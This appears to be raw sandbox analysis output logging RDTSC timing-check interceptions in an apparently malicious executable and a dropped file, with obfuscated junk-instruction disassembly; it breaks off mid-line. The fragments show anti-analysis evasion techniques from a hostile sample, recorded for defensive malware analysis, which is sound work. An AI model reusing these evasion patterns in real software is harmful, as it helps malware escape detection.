Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69ADCA second address: 69ADE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA6C4C2AB41h 0x0000000a jo 00007FA6C4C2AB42h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69ADE8 second address: 69ADEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D0A6 second address: 69D0AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D0AA second address: 69D0B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D0B6 second address: 69D0BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA2AC second address: 6AA2BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D3908Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA2BD second address: 6AA2C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0AAE second address: 6C0AD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D3908Ch 0x00000007 jmp 00007FA6C4D3908Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f ja 00007FA6C4D39086h 0x00000015 push esi 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0AD4 second address: 6C0ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0ADF second address: 6C0AE9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA6C4D39086h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFF33 second address: 6BFF39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BFF39 second address: 6BFF45 instructions: 0x00000000 rdtsc 0x00000002 js 00007FA6C4D39086h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3402 second address: 6C3447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4C2AB46h 0x00000009 popad 0x0000000a pushad 0x0000000b jnp 00007FA6C4C2AB36h 0x00000011 jmp 00007FA6C4C2AB3Eh 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jg 00007FA6C4C2AB40h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C377A second address: 6C378E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 jnp 00007FA6C4D39092h 0x0000000c js 00007FA6C4D3908Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C378E second address: 6C37A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, dword ptr [esp+04h] 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA6C4C2AB3Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C39FB second address: 6C3A01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3A01 second address: 6C3A05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3A05 second address: 6C3A1C instructions: 0x00000000 rdtsc 0x00000002 js 00007FA6C4D39086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007FA6C4D39086h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3A1C second address: 6C3A2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3A2A second address: 6C3A48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA6C4D39099h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8146 second address: 6C816F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push edx 0x00000008 jnl 00007FA6C4C2AB36h 0x0000000e pop edx 0x0000000f pushad 0x00000010 jmp 00007FA6C4C2AB47h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5C70 second address: 5E5C74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50496 second address: 4D504D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA6C4C2AB48h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D504D0 second address: 4D504DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D3908Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D504DF second address: 4D504F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4C2AB44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D504F7 second address: 4D504FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D504FB second address: 4D50512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c call 00007FA6C4C2AB3Ah 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50512 second address: 4D50524 instructions: 0x00000000 rdtsc 0x00000002 call 00007FA6C4D3908Bh 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50524 second address: 4D5058E instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA6C4C2AB42h 0x00000008 and al, 00000078h 0x0000000b jmp 00007FA6C4C2AB3Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FA6C4C2AB44h 0x0000001c adc ax, 7CD8h 0x00000021 jmp 00007FA6C4C2AB3Bh 0x00000026 popfd 0x00000027 mov esi, 1050F78Fh 0x0000002c popad 0x0000002d mov ebp, esp 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FA6C4C2AB41h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5058E second address: 4D505C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 mov si, dx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebp 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushfd 0x00000011 jmp 00007FA6C4D39091h 0x00000016 sbb ax, EDD6h 0x0000001b jmp 00007FA6C4D39091h 0x00000020 popfd 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50601 second address: 4D50653 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA6C4C2AB41h 0x00000008 pushfd 0x00000009 jmp 00007FA6C4C2AB40h 0x0000000e adc cx, 50B8h 0x00000013 jmp 00007FA6C4C2AB3Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push 0E128D5Fh 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FA6C4C2AB42h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50653 second address: 4D50681 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, bl 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 67868EC9h 0x0000000f jmp 00007FA6C4D39094h 0x00000014 call 00007FA73590CA02h 0x00000019 push 759227D0h 0x0000001e push dword ptr fs:[00000000h] 0x00000025 mov eax, dword ptr [esp+10h] 0x00000029 mov dword ptr [esp+10h], ebp 0x0000002d lea ebp, dword ptr [esp+10h] 0x00000031 sub esp, eax 0x00000033 push ebx 0x00000034 push esi 0x00000035 push edi 0x00000036 mov eax, dword ptr [759B0140h] 0x0000003b xor dword ptr [ebp-04h], eax 0x0000003e xor eax, ebp 0x00000040 push eax 0x00000041 mov dword ptr [ebp-18h], esp 0x00000044 push dword ptr [ebp-08h] 0x00000047 mov eax, dword ptr [ebp-04h] 0x0000004a mov dword ptr [ebp-04h], FFFFFFFEh 0x00000051 mov dword ptr [ebp-08h], eax 0x00000054 lea eax, dword ptr [ebp-10h] 0x00000057 mov dword ptr fs:[00000000h], eax 0x0000005d ret 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50681 second address: 4D50685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50685 second address: 4D506A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D39099h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D506A2 second address: 4D506CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [ebp-04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA6C4C2AB3Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D506CA second address: 4D506DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4D3908Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D506DA second address: 4D506DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D506DE second address: 4D506EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D506EF second address: 4D506F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D506F3 second address: 4D506F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D506F7 second address: 4D506FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D506FD second address: 4D5070F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4D3908Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5070F second address: 4D50728 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50728 second address: 4D50743 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D39097h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50743 second address: 4D507D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 push edi 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov al, byte ptr [edx] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FA6C4C2AB43h 0x00000013 xor si, B81Eh 0x00000018 jmp 00007FA6C4C2AB49h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007FA6C4C2AB40h 0x00000024 sub ch, 00000018h 0x00000027 jmp 00007FA6C4C2AB3Bh 0x0000002c popfd 0x0000002d popad 0x0000002e inc edx 0x0000002f jmp 00007FA6C4C2AB46h 0x00000034 test al, al 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FA6C4C2AB47h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D507D6 second address: 4D507DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D507DC second address: 4D507E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D507E0 second address: 4D507D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D3908Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FA6C4D38FDCh 0x00000011 mov al, byte ptr [edx] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FA6C4D39093h 0x0000001a xor si, B81Eh 0x0000001f jmp 00007FA6C4D39099h 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007FA6C4D39090h 0x0000002b sub ch, 00000018h 0x0000002e jmp 00007FA6C4D3908Bh 0x00000033 popfd 0x00000034 popad 0x00000035 inc edx 0x00000036 jmp 00007FA6C4D39096h 0x0000003b test al, al 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FA6C4D39097h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D507FC second address: 4D50839 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA6C4C2AB3Dh 0x00000008 add cx, 9276h 0x0000000d jmp 00007FA6C4C2AB41h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 sub edx, esi 0x00000018 pushad 0x00000019 movsx edx, cx 0x0000001c movzx eax, di 0x0000001f popad 0x00000020 mov edi, dword ptr [ebp+08h] 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50839 second address: 4D50853 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D39096h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50853 second address: 4D508CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 dec edi 0x0000000a pushad 0x0000000b push eax 0x0000000c mov bx, C7E6h 0x00000010 pop edi 0x00000011 popad 0x00000012 lea ebx, dword ptr [edi+01h] 0x00000015 jmp 00007FA6C4C2AB49h 0x0000001a mov al, byte ptr [edi+01h] 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FA6C4C2AB3Ch 0x00000024 sub ax, 76B8h 0x00000029 jmp 00007FA6C4C2AB3Bh 0x0000002e popfd 0x0000002f call 00007FA6C4C2AB48h 0x00000034 mov dh, cl 0x00000036 pop ebx 0x00000037 popad 0x00000038 inc edi 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D508CC second address: 4D508DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D3908Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D508DB second address: 4D50959 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 mov edi, 5F300AB6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test al, al 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FA6C4C2AB43h 0x00000017 adc ecx, 0557E33Eh 0x0000001d jmp 00007FA6C4C2AB49h 0x00000022 popfd 0x00000023 jmp 00007FA6C4C2AB40h 0x00000028 popad 0x00000029 jne 00007FA7357F2C84h 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 pushfd 0x00000033 jmp 00007FA6C4C2AB3Ch 0x00000038 xor eax, 37986768h 0x0000003e jmp 00007FA6C4C2AB3Bh 0x00000043 popfd 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50959 second address: 4D50977 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007FA6C4D39096h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50977 second address: 4D50996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov ecx, edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b call 00007FA6C4C2AB43h 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50996 second address: 4D509F4 instructions: 0x00000000 rdtsc 0x00000002 mov ax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007FA6C4D39095h 0x0000000d xor esi, 45B14196h 0x00000013 jmp 00007FA6C4D39091h 0x00000018 popfd 0x00000019 popad 0x0000001a shr ecx, 02h 0x0000001d pushad 0x0000001e movzx ecx, di 0x00000021 movsx edi, ax 0x00000024 popad 0x00000025 rep movsd 0x00000027 rep movsd 0x00000029 rep movsd 0x0000002b rep movsd 0x0000002d rep movsd 0x0000002f pushad 0x00000030 mov cl, 27h 0x00000032 mov dh, BAh 0x00000034 popad 0x00000035 mov ecx, edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FA6C4D39091h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D509F4 second address: 4D509FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D509FA second address: 4D509FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D509FE second address: 4D50A02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50A02 second address: 4D50AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and ecx, 03h 0x0000000b jmp 00007FA6C4D3908Fh 0x00000010 rep movsb 0x00000012 pushad 0x00000013 jmp 00007FA6C4D39094h 0x00000018 pushfd 0x00000019 jmp 00007FA6C4D39092h 0x0000001e sbb cl, FFFFFFD8h 0x00000021 jmp 00007FA6C4D3908Bh 0x00000026 popfd 0x00000027 popad 0x00000028 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000002f jmp 00007FA6C4D39096h 0x00000034 mov eax, ebx 0x00000036 jmp 00007FA6C4D39090h 0x0000003b mov ecx, dword ptr [ebp-10h] 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FA6C4D39097h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50AA1 second address: 4D50AF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], ecx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FA6C4C2AB3Ch 0x00000017 adc si, 8F28h 0x0000001c jmp 00007FA6C4C2AB3Bh 0x00000021 popfd 0x00000022 push ecx 0x00000023 mov cx, bx 0x00000026 pop edi 0x00000027 popad 0x00000028 pop ecx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50AF1 second address: 4D50AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50AF5 second address: 4D50AFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50AFB second address: 4D50B2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D39092h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f call 00007FA6C4D39093h 0x00000014 pop eax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50B2C second address: 4D50601 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ebx 0x00000005 call 00007FA6C4C2AB40h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop esi 0x0000000f pushad 0x00000010 movsx edx, cx 0x00000013 pushfd 0x00000014 jmp 00007FA6C4C2AB48h 0x00000019 add ax, 78A8h 0x0000001e jmp 00007FA6C4C2AB3Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop ebx 0x00000026 jmp 00007FA6C4C2AB46h 0x0000002b leave 0x0000002c jmp 00007FA6C4C2AB40h 0x00000031 retn 0008h 0x00000034 cmp dword ptr [ebp-2Ch], 10h 0x00000038 mov eax, dword ptr [ebp-40h] 0x0000003b jnc 00007FA6C4C2AB35h 0x0000003d push eax 0x0000003e lea edx, dword ptr [ebp-00000590h] 0x00000044 push edx 0x00000045 call esi 0x00000047 push 00000008h 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007FA6C4C2AB48h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50C36 second address: 4D50C4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ecx, 7D9D5185h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov dx, si 0x00000013 mov edi, eax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50C4C second address: 4D50C52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50C52 second address: 4D50C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50C56 second address: 4D50CB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FA6C4C2AB46h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FA6C4C2AB3Eh 0x0000001a sbb cx, EED8h 0x0000001f jmp 00007FA6C4C2AB3Bh 0x00000024 popfd 0x00000025 push eax 0x00000026 push edx 0x00000027 movzx esi, dx 0x0000002a rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 57F6B3 second address: 57F6B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 57F6B8 second address: 57F6BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 57F6BE second address: 57EEBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a cld 0x0000000b push dword ptr [ebp+122D15A1h] 0x00000011 stc 0x00000012 pushad 0x00000013 jmp 00007FA6C4D3908Bh 0x00000018 add bx, F75Ah 0x0000001d popad 0x0000001e call dword ptr [ebp+122D39F6h] 0x00000024 pushad 0x00000025 xor dword ptr [ebp+122D1CE9h], esi 0x0000002b xor eax, eax 0x0000002d clc 0x0000002e mov edx, dword ptr [esp+28h] 0x00000032 pushad 0x00000033 mov edx, dword ptr [ebp+122D3B0Ch] 0x00000039 jmp 00007FA6C4D39094h 0x0000003e popad 0x0000003f mov dword ptr [ebp+122D3BECh], eax 0x00000045 jbe 00007FA6C4D3908Fh 0x0000004b mov dword ptr [ebp+122D33E1h], edi 0x00000051 mov esi, 